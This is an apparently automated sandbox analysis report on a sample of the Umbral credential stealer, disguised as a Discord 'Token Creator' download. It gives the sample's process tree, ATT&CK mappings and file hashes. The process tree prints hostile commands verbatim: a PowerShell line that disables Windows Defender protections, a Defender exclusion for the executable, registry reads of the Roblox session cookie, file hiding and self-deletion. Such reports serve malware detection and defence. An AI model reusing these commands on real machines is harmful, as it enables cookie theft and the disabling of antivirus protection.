umbral | hxxps://mega[.]nz/file/ozNUBJZL#mcAL8HwC43sbtHfcKYR6voJ_N1j6YumoUor-GmmuPqA

Analysis

max time kernel
36s
max time network
33s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-12-2024 10:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://mega.nz/file/ozNUBJZL#mcAL8HwC43sbtHfcKYR6voJ_N1j6YumoUor-GmmuPqA

Score

10^/10

umbral discovery execution stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/5228-196-0x000001D969230000-0x000001D969270000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5572	powershell.exe
5732	powershell.exe
5932	powershell.exe
5584	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Token Creator.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
63	discord.com
64	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
55	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5772	cmd.exe
5764	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5748	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	msedge.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5764	PING.EXE

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
5092	msedge.exe
5092	msedge.exe
2072	msedge.exe
2072	msedge.exe
2132	identity_helper.exe
2132	identity_helper.exe
3732	msedge.exe
3732	msedge.exe
5228	Token Creator.exe
5228	Token Creator.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5732	powershell.exe
5732	powershell.exe
5732	powershell.exe
5932	powershell.exe
5932	powershell.exe
5932	powershell.exe
6128	powershell.exe
6128	powershell.exe
6128	powershell.exe
5584	powershell.exe
5584	powershell.exe
5584	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: 33	1872	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1872	AUDIODG.EXE
Token: SeDebugPrivilege	5228	Token Creator.exe
Token: SeIncreaseQuotaPrivilege	5448	wmic.exe
Token: SeSecurityPrivilege	5448	wmic.exe
Token: SeTakeOwnershipPrivilege	5448	wmic.exe
Token: SeLoadDriverPrivilege	5448	wmic.exe
Token: SeSystemProfilePrivilege	5448	wmic.exe
Token: SeSystemtimePrivilege	5448	wmic.exe
Token: SeProfSingleProcessPrivilege	5448	wmic.exe
Token: SeIncBasePriorityPrivilege	5448	wmic.exe
Token: SeCreatePagefilePrivilege	5448	wmic.exe
Token: SeBackupPrivilege	5448	wmic.exe
Token: SeRestorePrivilege	5448	wmic.exe
Token: SeShutdownPrivilege	5448	wmic.exe
Token: SeDebugPrivilege	5448	wmic.exe
Token: SeSystemEnvironmentPrivilege	5448	wmic.exe
Token: SeRemoteShutdownPrivilege	5448	wmic.exe
Token: SeUndockPrivilege	5448	wmic.exe
Token: SeManageVolumePrivilege	5448	wmic.exe
Token: 33	5448	wmic.exe
Token: 34	5448	wmic.exe
Token: 35	5448	wmic.exe
Token: 36	5448	wmic.exe
Token: SeIncreaseQuotaPrivilege	5448	wmic.exe
Token: SeSecurityPrivilege	5448	wmic.exe
Token: SeTakeOwnershipPrivilege	5448	wmic.exe
Token: SeLoadDriverPrivilege	5448	wmic.exe
Token: SeSystemProfilePrivilege	5448	wmic.exe
Token: SeSystemtimePrivilege	5448	wmic.exe
Token: SeProfSingleProcessPrivilege	5448	wmic.exe
Token: SeIncBasePriorityPrivilege	5448	wmic.exe
Token: SeCreatePagefilePrivilege	5448	wmic.exe
Token: SeBackupPrivilege	5448	wmic.exe
Token: SeRestorePrivilege	5448	wmic.exe
Token: SeShutdownPrivilege	5448	wmic.exe
Token: SeDebugPrivilege	5448	wmic.exe
Token: SeSystemEnvironmentPrivilege	5448	wmic.exe
Token: SeRemoteShutdownPrivilege	5448	wmic.exe
Token: SeUndockPrivilege	5448	wmic.exe
Token: SeManageVolumePrivilege	5448	wmic.exe
Token: 33	5448	wmic.exe
Token: 34	5448	wmic.exe
Token: 35	5448	wmic.exe
Token: 36	5448	wmic.exe
Token: SeDebugPrivilege	5572	powershell.exe
Token: SeDebugPrivilege	5732	powershell.exe
Token: SeDebugPrivilege	5932	powershell.exe
Token: SeDebugPrivilege	6128	powershell.exe
Token: SeIncreaseQuotaPrivilege	2484	wmic.exe
Token: SeSecurityPrivilege	2484	wmic.exe
Token: SeTakeOwnershipPrivilege	2484	wmic.exe
Token: SeLoadDriverPrivilege	2484	wmic.exe
Token: SeSystemProfilePrivilege	2484	wmic.exe
Token: SeSystemtimePrivilege	2484	wmic.exe
Token: SeProfSingleProcessPrivilege	2484	wmic.exe
Token: SeIncBasePriorityPrivilege	2484	wmic.exe
Token: SeCreatePagefilePrivilege	2484	wmic.exe
Token: SeBackupPrivilege	2484	wmic.exe
Token: SeRestorePrivilege	2484	wmic.exe
Token: SeShutdownPrivilege	2484	wmic.exe
Token: SeDebugPrivilege	2484	wmic.exe
Token: SeSystemEnvironmentPrivilege	2484	wmic.exe
Token: SeRemoteShutdownPrivilege	2484	wmic.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 540	2072	msedge.exe	83
PID 2072 wrote to memory of 540	2072	msedge.exe	83
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 1868	2072	msedge.exe	84
PID 2072 wrote to memory of 5092	2072	msedge.exe	85
PID 2072 wrote to memory of 5092	2072	msedge.exe	85
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86
PID 2072 wrote to memory of 1296	2072	msedge.exe	86

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5524	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://mega.nz/file/ozNUBJZL#mcAL8HwC43sbtHfcKYR6voJ_N1j6YumoUor-GmmuPqA
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff997246f8,0x7fff99724708,0x7fff99724718
  2⤵
  PID:540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2
  2⤵
  PID:1868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2832 /prefetch:8
  2⤵
  PID:1296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
  2⤵
  PID:3456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
  2⤵
  PID:3196
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5704 /prefetch:8
  2⤵
  PID:936
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5704 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5752 /prefetch:8
  2⤵
  PID:1524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5312 /prefetch:8
  2⤵
  PID:3180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1
  2⤵
  PID:4296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5996 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3732
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2904 /prefetch:1
  2⤵
  PID:5980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13516271047731045247,181986282389431991,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6184 /prefetch:1
  2⤵
  PID:5968

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3280

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2364

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4fc 0x4e8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1872

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1388

C:\Users\Admin\Downloads\Token Creator Discord\Token Creator Discord\Token Creator.exe
"C:\Users\Admin\Downloads\Token Creator Discord\Token Creator Discord\Token Creator.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5228
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5448
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\Downloads\Token Creator Discord\Token Creator Discord\Token Creator.exe"
  2⤵
  - Views/modifies file attributes
  PID:5524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Token Creator Discord\Token Creator Discord\Token Creator.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6128
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2484
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:5360
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5584
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:5748
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Downloads\Token Creator Discord\Token Creator Discord\Token Creator.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5772
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
85ba073d7015b6ce7da19235a275f6da

SHA1
a23c8c2125e45a0788bac14423ae1f3eab92cf00

SHA256
5ad04b8c19bf43b550ad725202f79086168ecccabe791100fba203d9aa27e617

SHA512
eb4fd72d7030ea1a25af2b59769b671a5760735fb95d18145f036a8d9e6f42c903b34a7e606046c740c644fab0bb9f5b7335c1869b098f121579e71f10f5a9c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
7de1bbdc1f9cf1a58ae1de4951ce8cb9

SHA1
010da169e15457c25bd80ef02d76a940c1210301

SHA256
6e390bbc0d03a652516705775e8e9a7b7936312a8a5bea407f9d7d9fa99d957e

SHA512
e4a33f2128883e71ab41e803e8b55d0ac17cbc51be3bde42bed157df24f10f34ad264f74ef3254dbe30d253aca03158fde21518c2b78aaa05dae8308b1c5f30c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
2018026a7abd6d472b1aa417ae862096

SHA1
12e4363946bfdda26363dea417e69e490e61152d

SHA256
c8334f30975c2be3a5ae9dd477d80e4073834876e1e5d8416fa2ce6ee21fe22f

SHA512
e5ac37b592287d33424b7747a74208bcd972de7fa83c5cf8baa2cede67acf535dca4c289fd36e4b95c969fc8126d8b9afda1f584781fd96779ed1cdd261d1c3a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_mega.nz_0.indexeddb.leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Filesize
105B

MD5
66f8dd72513b99b659f5e96ad284fa79

SHA1
7b366941103b7ea4d48cc4938b8fcbd4533a7bd4

SHA256
6bf4fb19d63e66a4f6dba1efd2439bc73ca21670030550a5682b323fdcac2176

SHA512
aa7710ad8714c96f975645acd0cf2a9613b320210ba3457039f85f1291af965c1e5fbe63f85576eaf36e3aed652f9c385b5a188565d4bb18f3e1b42f6e4d44a0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
98da6f47fefa83f70a985e60c3256bfb

SHA1
ff6b7a2289105fbf18043c41844d295215651e92

SHA256
b29b2c0c453c8ba6cb115e8682d678ae2e143c65049d4df2b3938a5bb232934d

SHA512
2d0fe9eca9a3acc8aaff45305fa4b9393ae8eafa4ac1cd3b06c5d8fbc971f23a5640c8622201e671bc977b5c91b27ae60c971a343e73be19d46dfe1974188ec1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
951b1beb67f5962557010f1bc3f656dc

SHA1
97464b997e735e929f7eb5b365258b7fa41b8d43

SHA256
a7625e9f0c525742238d42b7590363e777da1c79e3e6d1508c5ce82abd71b770

SHA512
557acf8dcd9ec10d1738c18aeee477701b6f008f255ff1a50b685e0a7885628b2d0ec7e7db8426eb2f57b6b8cd39f8dc76712394f40cd642aeb028586278748a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
1582f32ae91a24bfd41f7ad903c39767

SHA1
4673ba3d305f62cfc28215fcecda761797ddb7fe

SHA256
034b54389c38b2f6fe0d75fb92882940fd13e89700651a0b99cf2594913e67f6

SHA512
2052f8a5e20bdbd1929667152f5de34f67f7afc6fa6d3418b421fb2ef03e2540e671f4cc47260dc9e725a150430b90cb08c99cde96e66ba3f90f39ce4e479ee2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
dce97f18728d29255093b2fc4aead5d1

SHA1
50c64d249b9b5e51abcdebb7de30fd8b9ef0dc2b

SHA256
1e51cd3d1596fc5057631f9615cc11233764b2f71cb46906647da5e8c974a46b

SHA512
e762540e58683b4965998c12052f11673db41398cc29be5c074f023d0deac2d1709bb95a6b16b44226e10bbb6239c20c62c2c80dbd016cf60ea9c3fe32708596

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe582fa6.TMP

Filesize
48B

MD5
263a7ea5e4bcf252459bca6890848bc0

SHA1
51e457402e1062ad73b3ac02ed28641fa50b369b

SHA256
be18a285dedaf1e18a2ee5a7698c4771d3b409b817b88cb3108fba4fa6c97af2

SHA512
